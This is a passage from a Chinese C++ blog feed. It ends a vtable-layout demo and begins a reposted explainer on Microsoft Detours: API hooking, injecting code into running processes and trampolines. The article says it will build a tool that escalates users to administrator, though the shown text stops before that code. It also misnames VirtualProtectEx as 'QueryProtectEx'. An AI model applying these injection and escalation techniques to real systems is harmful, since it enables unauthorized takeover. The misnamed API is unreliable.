#000000">:<br></span><span style="COLOR: #008080">33</span><span style="COLOR: #000000"><img id=Codehighlighter1_643_644_Open_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Open_Text.style.display='none'; Codehighlighter1_643_644_Closed_Image.style.display='inline'; Codehighlighter1_643_644_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_643_644_Closed_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Closed_Text.style.display='none'; Codehighlighter1_643_644_Open_Image.style.display='inline'; Codehighlighter1_643_644_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_643_644_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_643_644_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">34</span><span style="COLOR: #000000"><img id=Codehighlighter1_661_662_Open_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Open_Text.style.display='none'; Codehighlighter1_661_662_Closed_Image.style.display='inline'; Codehighlighter1_661_662_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_661_662_Closed_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Closed_Text.style.display='none'; Codehighlighter1_661_662_Open_Image.style.display='inline'; Codehighlighter1_661_662_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_661_662_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_661_662_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">35</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">36</span><span style="COLOR: #000000"><img id=Codehighlighter1_690_722_Open_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Open_Text.style.display='none'; Codehighlighter1_690_722_Closed_Image.style.display='inline'; Codehighlighter1_690_722_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_690_722_Closed_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Closed_Text.style.display='none'; Codehighlighter1_690_722_Open_Image.style.display='inline'; Codehighlighter1_690_722_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_690_722_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_690_722_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">37</span><span style="COLOR: #000000"><img id=Codehighlighter1_749_781_Open_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Open_Text.style.display='none'; Codehighlighter1_749_781_Closed_Image.style.display='inline'; Codehighlighter1_749_781_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_749_781_Closed_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Closed_Text.style.display='none'; Codehighlighter1_749_781_Open_Image.style.display='inline'; Codehighlighter1_749_781_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_749_781_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_749_781_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">38</span><span style="COLOR: #000000"><img id=Codehighlighter1_808_840_Open_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Open_Text.style.display='none'; Codehighlighter1_808_840_Closed_Image.style.display='inline'; Codehighlighter1_808_840_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_808_840_Closed_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Closed_Text.style.display='none'; Codehighlighter1_808_840_Open_Image.style.display='inline'; Codehighlighter1_808_840_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func5()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_808_840_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_808_840_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func5\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">39</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">40</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ma3;<br></span><span style="COLOR: #008080">41</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;mb3;<br></span><span style="COLOR: #008080">42</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">43</span><span style="COLOR: #000000"><img id=Codehighlighter1_894_933_Open_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Open_Text.style.display='none'; Codehighlighter1_894_933_Closed_Image.style.display='inline'; Codehighlighter1_894_933_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_894_933_Closed_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Closed_Text.style.display='none'; Codehighlighter1_894_933_Open_Image.style.display='inline'; Codehighlighter1_894_933_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;member_func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_894_933_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_894_933_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::member_func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">44</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">45</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;_tmain(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;argc,&nbsp;_TCHAR</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;argv[])<br></span><span style="COLOR: #008080">46</span><span style="COLOR: #000000"><img id=Codehighlighter1_975_1482_Open_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Open_Text.style.display='none'; Codehighlighter1_975_1482_Closed_Image.style.display='inline'; Codehighlighter1_975_1482_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_975_1482_Closed_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Closed_Text.style.display='none'; Codehighlighter1_975_1482_Open_Image.style.display='inline'; Codehighlighter1_975_1482_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_975_1482_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_975_1482_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">47</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;typedef&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">Fun)(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">48</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">49</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;Fun&nbsp;pfun&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">50</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;derive2</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;d2&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;derive2;<br></span><span style="COLOR: #008080">51</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)d2;<br></span><span style="COLOR: #008080">52</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">53</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">30</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">54</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">55</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">300</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">56</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">57</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">30000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">58</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">59</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br></span><span style="COLOR: #008080">60</span><span style="COLOR: #000000"><img id=Codehighlighter1_1225_1360_Open_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Open_Text.style.display='none'; Codehighlighter1_1225_1360_Closed_Image.style.display='inline'; Codehighlighter1_1225_1360_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1225_1360_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Closed_Text.style.display='none'; Codehighlighter1_1225_1360_Open_Image.style.display='inline'; Codehighlighter1_1225_1360_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1225_1360_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_1225_1360_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">61</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fun&nbsp;pfun&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">i);<br></span><span style="COLOR: #008080">62</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(pfun)<br></span><span style="COLOR: #008080">63</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pfun();<br></span><span style="COLOR: #008080">64</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">65</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">null\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">66</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">67</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">68</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;b2&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;derive;<br></span><span style="COLOR: #008080">69</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;p2&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)b2;<br></span><span style="COLOR: #008080">70</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;pfun&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p2</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">71</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;pfun();<br></span><span style="COLOR: #008080">72</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;<br></span><span style="COLOR: #008080">73</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">74</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">75</span><span style="COLOR: #000000"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 16px Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 16px; FONT-FAMILY: Verdana, Arial, sans-serif; FONT-SIZE: 13px" class=Apple-style-span><span style="COLOR: purple" class=code-string></span></span></span>&nbsp;</p>
<img src ="http://www.cppblog.com/codeart/aggbug/125326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/codeart/" target="_blank">codeArt</a> 2010-08-31 01:32 <a href="http://www.cppblog.com/codeart/archive/2010/08/31/125326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Detours[转]</title><link>http://www.cppblog.com/codeart/archive/2010/08/29/125226.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Sun, 29 Aug 2010 15:08:00 GMT</pubDate><guid>http://www.cppblog.com/codeart/archive/2010/08/29/125226.html</guid><wfw:comment>http://www.cppblog.com/codeart/comments/125226.html</wfw:comment><comments>http://www.cppblog.com/codeart/archive/2010/08/29/125226.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/codeart/comments/commentRss/125226.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/codeart/services/trackbacks/125226.html</trackback:ping><description><![CDATA[<span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 18px; FONT-FAMILY: Arial; COLOR: rgb(102,102,102); FONT-SIZE: 12px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class=Apple-style-span>Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。<br style="LINE-HEIGHT: normal">为一个已在运行的进程创建一新线程，装入自己的代码并运行。<br style="LINE-HEIGHT: normal">本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有&#8220;调试程序&#8221;的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">一． Detours的原理<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">1． WIN32进程的内存管理<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">(1) 进程要执行的指令也放在虚存空间中<br style="LINE-HEIGHT: normal">(2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序<br style="LINE-HEIGHT: normal">(3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">2． 拦截WIN32 API的原理<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">Detours定义了三个概念：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">(1) Target函数：要拦截的函数，通常为Windows的API。<br style="LINE-HEIGHT: normal">(2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。<br style="LINE-HEIGHT: normal">(3) Detour 函数：用来替代Target函数的函数。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">拦截前：Target _ Function：<br style="LINE-HEIGHT: normal">；Target函数入口，以下为假想的常见的子程序入口代码<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; ebp<br style="LINE-HEIGHT: normal">mov&nbsp;&nbsp; ebp,&nbsp;&nbsp; esp<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; eax<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; ebx<br style="LINE-HEIGHT: normal">Trampoline:<br style="LINE-HEIGHT: normal">；以下是Target函数的继续部分<br style="LINE-HEIGHT: normal">&#8230;&#8230;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">拦截后： Target _ Function：<br style="LINE-HEIGHT: normal">jmp&nbsp;&nbsp; Detour_Function<br style="LINE-HEIGHT: normal">Trampoline:<br style="LINE-HEIGHT: normal">；以下是Target函数的继续部分<br style="LINE-HEIGHT: normal">&#8230;&#8230;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">Trampoline_Function:<br style="LINE-HEIGHT: normal">; Trampoline函数入口, 开头的5个字节与Target函数相同<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; ebp<br style="LINE-HEIGHT: normal">mov&nbsp;&nbsp; ebp,&nbsp;&nbsp; esp<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; eax<br style="LINE-HEIGHT: normal">push&nbsp;&nbsp; ebx<br style="LINE-HEIGHT: normal">；跳回去继续执行Target函数<br style="LINE-HEIGHT: normal">jmp&nbsp;&nbsp; Target_Function+5<br 